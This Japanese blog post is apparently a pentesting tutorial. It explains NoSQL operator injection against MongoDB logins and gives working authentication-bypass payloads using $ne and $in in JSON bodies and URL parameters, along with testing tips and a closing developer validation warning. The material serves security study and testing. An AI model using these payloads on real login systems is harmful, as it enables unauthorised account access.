Shikata Ga Nai

Private? There is no such things.

NoSQLオペレーターインジェクション — MongoDBの認証をバイパスする方法

Hello there, ('ω')ノ

🧠 概要

NoSQLオペレーターインジェクションとは、MongoDBなどのNoSQLデータベースに対して「特殊なクエリ演算子(\$ne, \$in, \$regex, \$whereなど)」を注入し、想定外のクエリ実行を引き起こす攻撃です。これにより、次のようなことが可能になります:

  • 認証バイパス
  • 任意のデータ取得
  • 特定ユーザーのデータ取得

🔧 よく使われるMongoDBクエリ演算子

演算子 説明
$ne 指定した値「以外」と一致する
$in 指定した配列に含まれる任意の値と一致
$regex 正規表現による一致
$where JavaScript式でフィルタリング

🧪 攻撃ステップ(JSONベースのログイン)

📦 通常のリクエスト例:

POST /login
Content-Type: application/json

{
  "username": "wiener",
  "password": "peter"
}

💥 攻撃1:\$ne(Not Equal)によるバイパス

{
  "username": { "$ne": "invalid" },
  "password": { "$ne": "invalid" }
}

このクエリは次のように解釈されます:

db.users.find({
  username: { $ne: "invalid" },
  password: { $ne: "invalid" }
})

最初に一致したユーザーでログイン成功(どちらも"invalid"でなければOK)


🎯 攻撃2:特定アカウントへのピンポイント攻撃

{
  "username": { "$in": ["admin", "administrator", "superadmin"] },
  "password": { "$ne": "" }
}
  • $inを使って、複数の候補を一気に試す
  • $neで空のパスワード以外ならOK

🌐 URLパラメータでも可能なケース

例:

username[$ne]=invalid&password[$ne]=invalid

ただし、通常のGET/POSTでは処理されないこともあるため、以下の方法でテストする:

  • リクエストをPOSTに変更
  • Content-Typeapplication/json に変更
  • JSONフォーマットでペイロードを送信

Burp Suiteの「Content Type Converter」拡張機能を使えば、これらの変換を自動化できます。


✅ テストのポイント

テクニック 内容
演算子を1つずつ試す $ne, $in, $regex, $where など順に試す
通常の値と比較する username=wienerusername[$ne]=invalid
正常/異常の変化を観察 ログイン成功/失敗の違いでインジェクション可否を判断
コンテンツの変化に注目 エラー表示、リダイレクト、表示内容の変化に注意

🧩 まとめ

  • MongoDBでは、JSON構造内にオペレーターをネストして注入することで、強力なインジェクションが可能。
  • $ne$inを使えば、認証を完全にスキップすることも可能。
  • URLエンコード、POST変換、Content-Type変更などの準備も重要。

🛡️ デベロッパー側では、ユーザー入力をそのままMongoDBクエリに渡すのは絶対にNG。JSON構造を信頼せず、入力値の型・構造のバリデーションが必須です。

Best regards, (^^ゞ